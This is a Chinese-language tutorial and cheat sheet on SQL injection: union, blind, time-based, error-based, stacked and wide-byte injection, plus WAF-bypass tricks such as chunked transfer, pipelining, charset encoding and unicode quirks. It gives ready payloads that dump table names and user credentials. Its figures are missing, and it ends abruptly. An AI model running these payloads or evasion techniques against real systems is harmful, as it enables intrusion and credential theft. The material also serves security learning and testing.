深度技術研究之SQL注入總結
關注一波,謝謝各位師傅
感謝ch1e師傅幫忙總結
ch1e‘blog:https://ch1e.gitee.io/
基本的sql語句
查詢:SELECT statement FROM table WHERE condition刪除記錄:DELETE FROM table WHERE condition更新記錄:UPDATE table SET field=value WHERE condtion添加記錄:INSERT INTO table field VALUES(values)
sql注入類型
最基礎的注入-union注入攻擊
Boolean注入攻擊-布爾盲注
時間注入攻擊-時間盲注
報錯注入攻擊
堆疊查詢注入攻擊
二次注入攻擊
寬字節注入攻擊
頭部注入
最基礎的注入-union注入攻擊
1.首先判斷是GET類型還是POST類型的注入
2.尋找出他后端的閉合規則
3.使用order by或者group by來判斷有幾個字段
order by是mysql中對查詢數據進行排序的方法
select * from 表名 order by 列名(或者數字) asc;升序(默認升序)
select * from 表名 order by 列名(或者數字) desc;降序
我們可以通過對order by 后面輸入的數字不同來判斷出他有幾個字段
一般食用方法:若order by x與 order by x+1回顯不一樣,則有x個字段
4.使用union select 1,2,3,4,….有幾個字段就寫幾個,例如五個字段就是select 1,2,3,4,5
判斷哪個位置有回顯,我們就在有回顯的位置進行查詢
5.例如有仨個字段,2,3位置有回顯,我們就可以把2,3位置上替換成database(),user(),version()等有利于我們收集信息的函數。
6.知道了我們當前的數據庫以后我們就需要查詢該數據庫的下的表的內容。
union select 1,group_concat(table_name) from information_schema.tables where table_schema=”database()”,3
這段sql語句的 作用是,從information_schema.tables表下面查詢數據庫名稱為database()下的表的表名
7.查詢到了當前數據庫以及當前數據庫下的表,接下來就是要對表中的字段進行查詢,這里里user表為例
union select 1,group_concat(column_name)from information_schema.columns where table_name=”user”,3
這句sql語句的意思是從information_schema.columns表中查詢user表的字段名
8.查詢到字段名以后,這里以字段名username和passwd為例
union select 1,username,passwd from user;
這句sql語句的意思是從user中查詢username和passwd的字段值
Boolean注入攻擊-布爾盲注
前言:
一些情況下,由于開發者屏蔽了報錯信息,導致攻擊者無法通過報錯信息來進行注入的判斷。
這種情況下的注入稱之為盲注,布爾盲注是基于真假的判斷,不論輸入的是什么,都只會返回true或者false
布爾盲注的關鍵在于通過表達式結果與已知值進行比對,根據比對結果判斷正確與否
布爾盲注的判斷方式
通過長度判斷length():length(database())>=x
通過字符判斷substr():substr(database(),1,1) =’x’
通過ascII碼判斷:ascii():ascii(substr(database(),1,1)) =x
布爾盲注的實現
1.首先我們應該找到sql語句的閉合規則,這里以普通的單引號為例
2.布爾盲注要用到length()和substr()語句,用兩種狀態來猜解數據庫、表名等的長度和正確字母
3.首先需要我們來猜數據庫的長度,使用的是二分法;一次一次的判斷,更改數據庫的長度,根據返回的
true或者false來得到正確的數據庫長度
id=1' and length(database())>=1 --+
4.其次,得到了正確的數據庫長度以后我們需要來得到他的數據庫名,這里手工注入太麻煩我們也可以選擇使用burpsuite來幫助我們進行注入,Burpsuite的具體使用先暫不介紹;
substr()函數是用來截取數據庫某個字段的一部分,有三個參數,第一個是數據庫中需要截取的字段
第二個是從第幾個開始,第三個字段是截取的數目,所以下面的sql語句是截取database()字段從第一個開始,截取一個字符,然后再使用Burpsuite或者Python來跑出完整的數據庫名即可
id=1'and substr(database(),1,1)='a' --+
5.得到了數據庫名,我們還要得到該數據庫下的表;具體原理相似,只是把union聯合查詢注入中的查詢語句放入到了函數中,把查詢出來的數據作為我們函數的參數,這里就不再多做介紹
id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+
6.得到數據庫表以后,我們要獲取數據庫字段名
id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+
7.查詢出數據庫字段名以后,我們需要獲取具體的數據
id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
補充:
length() 函數 返回字符串的長度
substr() 截取字符串 (語法:SUBSTR(str,pos,len);)
如:substr或substring(database(),1,1) 截取出:數據庫名,第一位開始, 截取一位。
ascii() 返回字符的ascii碼 [將字符變為數字]
sleep() 將程序掛起一段時間n為n秒,被禁可用benchmark()代替,同效。
if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如 果錯誤執行第三個語句
報錯注入
常用函數
floor();updatexml();ExtractValue();
updatexml()函數
updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。
作用:改變文檔中符合條件的節點的值
語法:updatexml(XML_document,XPath_string,new_value) 第一個參數:是string格式,為XML文檔對象的名稱,文中為Doc 第二個參數:代表路徑,Xpath格式的字符串例如//title【@lang】 第三個參數:string格式,替換查找到的符合條件的數據
updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)
例如:
select * from test where ide = 1 and (updatexml(1,0x7e,3));
由于0x7e是~,不屬于xpath語法格式,因此報出xpath語法錯誤。
extractvalue()函數
此函數從目標XML中返回包含所查詢值的字符串 語法:extractvalue(XML_document,xpath_string)第一個參數:string格式,為XML文檔對象的名稱 第二個參數:xpath_string(xpath格式的字符串)
select *from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
extractvalue使用時當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于0x7e就是~不屬于xpath語法格式,因此報出xpath語法錯誤。
###報錯注入的利用方式
這里就不具體介紹了,只需要使用payload,把執行語句替換就可以了
查數據庫名:id='and(select extractvalue(1,concat(0x7e,(select database()))))爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))爆數據:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) 函數 利用方法floor() select count (*) from information _schema.tables group by concat ((此處加入執行語句),0x7e,floor (rand (0)*2));extractvalue() extractvalue (1,concat (0x7e,(此處加入執行語句),0x7e));updatexml() select updatexml (1,concat (0x7e,(此處加入執行語句),0x7e),1);
延時注入
延時注入介紹
利用sleep()或benchmark()等函數讓mysql執行時間變長經常與if(expr1,expr2,expr3)語句結合使用,通過頁面的響應時間來判斷條件是否正確。if(expr1,expr2,expr3)含義是如果expr1是True,則返回expr2,否則返回expr3。
其實時間盲注和布爾盲注原理相似,只是利用sleep()等函數使執行時間變成來判斷條件的正確,這里不再過多介紹,直接上Payload
payload:
爆數據庫名長度**' and if(length(database())>=8,sleep(5),1)#爆數據庫:**' and if(substr(database(),1,1)='p',sleep(5),null) #爆數據表:**' and if((substr(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))='a',sleep(5),null) #爆數據列:**' and if((substr(select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))='a',sleep(5),null) #爆數據信息:**' and if((substr((select password from users limit 0,1),1,1))='a',sleep(5),null)#
注意:一般注入時,猜錯的幾率大,所以在猜對了的時候讓頁面sleep()
堆疊查詢注入
原理介紹
SQL中,分號是用來表示一條sql語句的結束,我們可以在一條語句的結束后的;后繼續構造下一條語句,會一起被執行,所以這就造成了堆疊注入,堆疊注入和union 聯合查詢注入都是把兩條語句合并在一起,兩者之間的區別在于union 執行的語句是有限的,而堆疊注入可以執行任意的語句
堆疊注入的實現
正常sql語句:
Select * from users where id=’1’’;
注入sql語句:
Select * from users where id=’1’;select if(length(database())>5,sleep(5),1) #
我們通過上面的比較可以看出,正常sql語句和注入sql語句的不同就在于sql注入語句后還有一條sql語句,是一條時間盲注的語句,所以我們只需要在正常的查詢語句后面加上我們其他注入的方法就好了(個人理解,如果有錯誤歡迎各位大佬指正),因此payload的構造就是在正常輸入后加上一個分號,然后加上其他類型的sql注入語句即可
(P.S:男上加男)
寬字節注入
涉及到的基本概念
字符、字符集
字符(character)是組成字符集(character set)的基本單位。對字符賦予一個數值(encoding)來確定這個字符在該字符集中的位置。
UTF8
由于ASCII表示的字符只有128個,因此網絡世界的規范是使用UNICODE編碼,但是用ASCII表示的字符使用UNICODE并不高效。因此出現了中間格式字符集,被稱為通用轉換格式,及UTF(Universal Transformation Format)。
寬字節
GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節,實際上只有兩字節。寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,即將兩個ascii字符誤認為是一個寬字節字符。
###寬字節注入原理
GBK 占用兩字節
ASCII占用一字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼(添加的符號為“\”),MYSQL默認字符集是GBK等寬字節字符集。
大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗,也就是說:
%df\’ = %df%5c%27=縗’
,有了單引號就好注入了。
例子:
http://127.0.0.1/Less-32/?id=1%df'('瀏覽器自動進行url編碼%27)根據以上分析,發生如下轉換:%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運'MySQL執行的語句為:$sql="SELECT * FROM users WHERE id='1運'' LIMIT 0,1";成功將單引號閉合,可以進行SQL注入
頭部注入
Head注入總結:
區別只是注入位置不同:
Cookie、ua頭(User-Agent)、referrer、(可以手動添加)X-Forwarded-For:
主要利用:報錯注入
繞過總結
原句:RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
RLIKE:正則匹配
select "11111112222123333" rlike ".*12.*";select "11111112222123333" rlike "^12" ;
類似于 LIKE

CASE:
case when sex = '1' then '男'when sex = '2' then '女' else '其他' end //
值為1返回男,為2返回女,else時返回其他
梳理:提出部分語句:CASE
WHEN (41=41) THEN 1 ELSE 0x28 END ;
我們知道41=41這是個恒等值,那么這部分語句只會返回1, 此時語句等效于SELECT 1
那么SELECT 1是什么呢?以下是百度的回答。
既然SELECT 1的表中只要存有數據一定返回true,而注入的時候一般都是帶入WHERE子句中查詢,so,理論齊了,看下案例
正常訪問

那么加入上面提到的過waf注入,看看結果

正常返回 上面的分析我們知道 這么長的一串其實等效于 RLIKE true ,那么此時可以證明下我們的結論了。

拓展:當想測試返回頁面為錯誤的時候 只需要更改
RLIKE (SELECT (CASE WHEN (41=41) THEN 1 ELSE 0x28 END))
中那個恒等的41=41而已,或者可以用 RLIKE true/false來解決waf。
二
pipline(隧道傳輸)
首先聲明,這個方法過不了最新狗,算是有點老的方法
什么是pipline?看圖

C代表客戶端;S代表服務器端
左:普通http請求一個請求包一個響應包
右:pipline傳輸,多個請求包同時發送,服務器端也返回相應響應包
姿勢1:
1Burp的話先關閉repeater中的update content-length

2修改connection為keep-alive

3復制數據包粘貼到下面(注意空一行),把污染數據放到后面的包中

4結果

這種方法繞過waf的原因是waf攔截到數據包檢測content-length。超出長度部分作為沒用的數據放行了從而達到繞過。
姿勢2:畸形包
直接看方式(第二個請求的空格進行url轉碼)

結果

邊界傳輸
這個也沒繞過,滑稽
什么是邊界傳輸?
簡單說,一種http傳文件的協議,同時也可以傳數據
繞過waf原理是waf沒有考慮到這種協議可以傳數據直接當做文件放行了(協議未覆蓋)
姿勢



分塊傳輸(“強無敵”)
什么是分塊傳輸?
簡單說,一種拆分數據包的方法,能拆成特別變態的樣子
姿勢
1添加Transfer-Encoding: chunked

2拆分臟數據一個長度標識跟著一撮數據,任意拆分,如下圖(空格也是一位)

3注意:末尾要加“0”同時敲幾個回車,不然會超時
4結果,繞過

邊界+分塊,直接上圖
邊界傳輸的格式也可以拆分

注意:這部分長度不加參數是19,具體原因待考證、

邊界+分塊+注釋干擾
分塊傳輸中可以用分號加載長度標識符后面來作為注釋符,這樣某些waf拼接起來也看不出來什么東西

charset=ibm500、charset=ibm037編碼繞過
(待實踐)
將臟數據進行charset=ibm500或者charset=ibm037編碼
在content-type后加上charset=xxx

一個轉換網站
http://www.haomeili.net/HanZi/BianMaZhuanHuan?ToCode=IBM037
########
數據庫特性 :
注釋:#---- ---+///**//*letmetest*/;%00
科學記數法

空白字符:
SQLite3 0A 0D 0C 09 20MySQL5 09 0A 0B 0C 0D A0 20PosgresSQL 0A 0D 0C 09 20Oracle 11g 00 0A 0D 0C 09 20MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
+號:

-號:

“符號:

~號:

!號:

@`形式`:

點號.1:

單引號雙引號:

括號select(1):

花括號:
這里舉一個云盾的案例,并附上當時fuzz的過程:
union+select 攔截select+from 不攔截select+from+表名 攔截union(select) 不攔截所以可以不用在乎這個union了。union(select user from ddd) 攔截union(select%0aall) 不攔截union(select%0aall user from ddd) 攔截fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。union(select%0aall{user}from{ddd}) 不攔截
可運用的sql函數&關鍵字:
MySQL:union distinctunion distinctrowprocedure analyse()updatexml()extracavalue()exp()ceil()atan()sqrt()floor()ceiling()tan()rand()sign()greatest()字符串截取函數Mid(version(),1,1)Substr(version(),1,1)Substring(version(),1,1)Lpad(version(),1,1)Rpad(version(),1,1)Left(version(),1)reverse(right(reverse(version()),1)字符串連接函數concat(version(),'|',user());concat_ws('|',1,2,3)字符轉換Char(49)Hex('a')Unhex(61)過濾了逗號(1)limit處的逗號:limit 1 offset 0(2)字符串截取處的逗號mid處的逗號:mid(version() from 1 for 1)MSSQL:IS_SRVROLEMEMBER()IS_MEMBER()HAS_DBACCESS()convert()col_name()object_id()is_srvrolemember()is_member()字符串截取函數Substring(@@version,1,1)Left(@@version,1)Right(@@version,1)(2)字符串轉換函數Ascii('a') 這里的函數可以在括號之間添加空格的,一些waf過濾不嚴會導致bypassChar('97')exec
Mysql BIGINT數據類型構造溢出型報錯注入:
BIGINT Overflow Error Based SQL Injection
容器特性 :
%特性:
asp+iis的環境中,當我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而
沒特殊要求的waf當然是不會的:
%u特性:
iis支持unicode的解析,當我們請求的url存在unicode字符串的話iis會自動將其轉換,但
waf就不一定了
這個特性還存在另一個case,就是多個widechar會有可能轉換為同一個字符。
s%u0065lect->selects%u00f0lect->select
WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0
字母a:%u0000%u0041%u0061%u00aa%u00e2單引號:%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括號(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括號):%u0029%uff09%c0%29%c0%a9%e0%80%a
這個文章的最后一個手法: